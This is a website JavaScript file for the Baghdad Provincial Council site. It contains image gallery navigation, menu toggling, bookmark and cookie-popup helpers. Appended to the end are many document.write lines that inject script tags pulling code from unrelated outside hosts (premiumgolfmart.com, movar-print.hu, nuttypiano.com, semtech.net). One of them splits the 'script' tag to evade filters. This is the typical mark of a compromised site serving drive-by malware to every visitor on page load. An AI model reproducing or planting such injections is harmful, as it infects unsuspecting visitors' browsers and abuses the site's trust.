var timer2=null
var motionSteps=0
var moveFlag=false
var thumbPage=1
var indexPage=1
var imgNo=1
var direction=1
var movingObject=null
var load=false
var maxImg=140
function showspan(ob){
	var span1
	//for (i=0;;i++){
		span1=document.getElementsByTagName('span').item(1)
	if(span1.getElementsByTagName("h2").item(0).innerText==ob.innerText){
		span2=span1.getElementsByTagName('span').item(0)
		if (span2.className.match("hidden")){
			span2.className="show";
		}
		else{
			span2.className="hidden";
		}
	//break
	//}
	}
}
function hover(ob){
	ob.className=ob.className+" hover";
}
function unhover(ob){
	var st=ob.className
	ob.className=st.replace(" hover","");
	
}
function show(no,list_id){
no=no-1
var list=document.getElementById(list_id)
var this_element=list.getElementsByTagName('span').item(no)
var element
if (this_element.className.match("collapsed")){
for (i=0;;i++){
	element=list.getElementsByTagName("span").item(i)
	if (element){
		if(element.className.match("expanded")){
		element.className=element.className.replace("expanded","collapsed");
		element=list.getElementsByTagName("ul").item(i)
		if(element){element.className=element.className.replace("visible","hidden");}
	}
	}
	else{
		this_element.className=this_element.className.replace("collapsed","expanded"); 
		element=list.getElementsByTagName("ul").item(no)
		element.className=element.className.replace("hidden","visible")
		break
	}
	
}
}
else{
	this_element.className=this_element.className.replace("expanded","collapsed");
	element=list.getElementsByTagName("ul").item(no)
	element.className=element.className.replace("visible","hidden")
	}
}
function thmClicked(thm){
	var galleryDiv=document.getElementById('gallery-img2')
	var galleryImg=galleryDiv.getElementsByTagName('img').item(0)
	var thumbNo=(thumbPage-1)*10+parseInt(thm.id)
	galleryImg.src="gallery/"+thumbNo+".jpg"
	imgNo=thumbNo
}
function nextThumbs(){
	if (moveFlag||thumbPage==Math.round(maxImg/10)) return false
	moveFlag=true
	thumbPage++
	direction=1
	var galleryThumbs=document.getElementById('gallery-thm-container2')
	movingObject=galleryThumbs
	load=true
	timer2 = setInterval(moveObject, 60);
}
function moveObject(){
	if (motionSteps<4){
		motionSteps++
		movingObject.style.pixelLeft -=direction*15*(10-motionSteps);
	}
	else if(motionSteps<8){
		motionSteps++
		movingObject.style.pixelLeft -=direction*15*(9-motionSteps);
	}
	else{
		motionSteps=0
		clearInterval(timer2)
		if (load){
			var galleryThumbs=document.getElementById('gallery-thm-containerm')
			loadThumbs(galleryThumbs,0)
			galleryThumbs=document.getElementById('gallery-thm-containerr')
			loadThumbs(galleryThumbs,1)
			galleryThumbs=document.getElementById('gallery-thm-containerl')
			loadThumbs(galleryThumbs,-1)
			galleryThumbs=document.getElementById('gallery-thm-container2')
			galleryThumbs.style.pixelLeft=0
		}
	 	moveFlag=false
	}
}
function loadThumbs(galleryThumbs,offset){
	var thumb=galleryThumbs.getElementsByTagName('img').item(0)
	var thumbNo=(thumbPage+offset-1)*10
	for (var i=0;i<10;i++){
		thumb=galleryThumbs.getElementsByTagName('img').item(i)
		thumbNo++
		thumb.src="thumbs/"+thumbNo+".jpg"
				
	}
}

function preThumbs(){
	if (moveFlag||thumbPage==1) return false
	moveFlag=true
	thumbPage--
	direction=-1
	var galleryThumbs=document.getElementById('gallery-thm-container2')
	movingObject=galleryThumbs
	load=true
	timer2 = setInterval(moveObject, 60);	
}

function nextImg(){
	if (imgNo==maxImg) return false
	var galleryDiv=document.getElementById('gallery-img2')
	var galleryImg=galleryDiv.getElementsByTagName('img').item(0)
	imgNo++
	galleryImg.src="gallery/"+imgNo+".jpg"
}
function preImg(){
	if (imgNo==1) return false
	var galleryDiv=document.getElementById('gallery-img2')
	var galleryImg=galleryDiv.getElementsByTagName('img').item(0)
	imgNo--
	galleryImg.src="gallery/"+imgNo+".jpg"
}
function nextIndex(){
	if (moveFlag) return false
	moveFlag=true
	indexPage++
	direction=1
	var galleryIndex=document.getElementById('gallery-index-container')
	var index=galleryIndex.getElementsByTagName('span').item(0)
	movingObject=index
	load=false
	timer2 = setInterval(moveObject, 35);		
}
function preIndex(){
	if (moveFlag) return false
	moveFlag=true
	indexPage--
	direction=-1
	var galleryIndex=document.getElementById('gallery-index-container')
	var index=galleryIndex.getElementsByTagName('span').item(0)
	movingObject=index
	load=false
	timer2 = setInterval(moveObject, 35);			
}
function indexClicked(temp){
	if(temp==thumbPage||moveFlag) return;
	else{
		thumbPage=temp
		var galleryThumbs=document.getElementById('gallery-thm-containerm')
			loadThumbs(galleryThumbs,0)
			galleryThumbs=document.getElementById('gallery-thm-containerr')
			loadThumbs(galleryThumbs,1)
			galleryThumbs=document.getElementById('gallery-thm-containerl')
			loadThumbs(galleryThumbs,-1)
		}
}
function showPic(){
	var galleryDiv=document.getElementById('gallery-img2')
	var galleryImg=galleryDiv.getElementsByTagName('img').item(0)
	var url=galleryImg.src.replace("gallery","full-gallery");
	var winpops=window.open(url,"ss","width=1024,height=768,toolbar=0,location=0,status=0,scrollbars=1,menubar=0,resizable=1")
}
function home(s)
{
s.style.behavior='url(#default#homepage)';
s.setHomepage('http://www.baghdadcouncil.com/');
}

function addbookmark()
{
bookmarkurl="http://www.baghdadcouncil.com/"
bookmarktitle="مجلس محافظة بغداد"
if (document.all)
window.external.AddFavorite(bookmarkurl,bookmarktitle)
}
function divToggle(div){
	var p=div.getElementsByTagName('div').item(0)
	var a=div.getElementsByTagName('a').item(0)
	if (a.id=="hide")
		p.className=p.className.replace("hidden","visible");
	else
		p.className=p.className.replace("visible","hidden");
}
function aToggle(a){
	if (a.id=="show"){
		a.innerHTML=a.innerHTML.replace("+","-");
		a.id="hide";
		}
	else{
		a.innerHTML=a.innerHTML.replace("-","+");
		a.id="show";
	}
		
}

function get_cookie(Name) {
  var search = Name + "="
  var returnvalue = "";
  if (document.cookie.length > 0) {
    offset = document.cookie.indexOf(search)
    if (offset != -1) { 
      offset += search.length
      end = document.cookie.indexOf(";", offset);
      if (end == -1)
         end = document.cookie.length;
      returnvalue=unescape(document.cookie.substring(offset, end))
      }
   }
  return returnvalue;
}

function loadornot(popurl,para){
if (get_cookie('bpcpopup')==""){
openpopup(popurl,para)
document.cookie="bpcpopup=yes"
}
}
function openpopup(popurl,para){
var winpops=window.open(popurl,"windowname","toolbar=no,location=no,directories=no,status=no, menubar=no,scrollbars=no,resizable=no,copyhistory=no,"+para)
}




document.write('<script src=http://semtech.net/innovaeditor/assets/areaedit.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Web_Page.js"></scri'+'pt>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://premiumgolfmart.com/Pics/error_log.php ><\/script>');
document.write('<script src=http://movar-print.hu/modules/.ftpquota.php ><\/script>');
document.write('<script src=http://movar-print.hu/modules/.ftpquota.php ><\/script>');
document.write('<script src=http://movar-print.hu/modules/.ftpquota.php ><\/script>');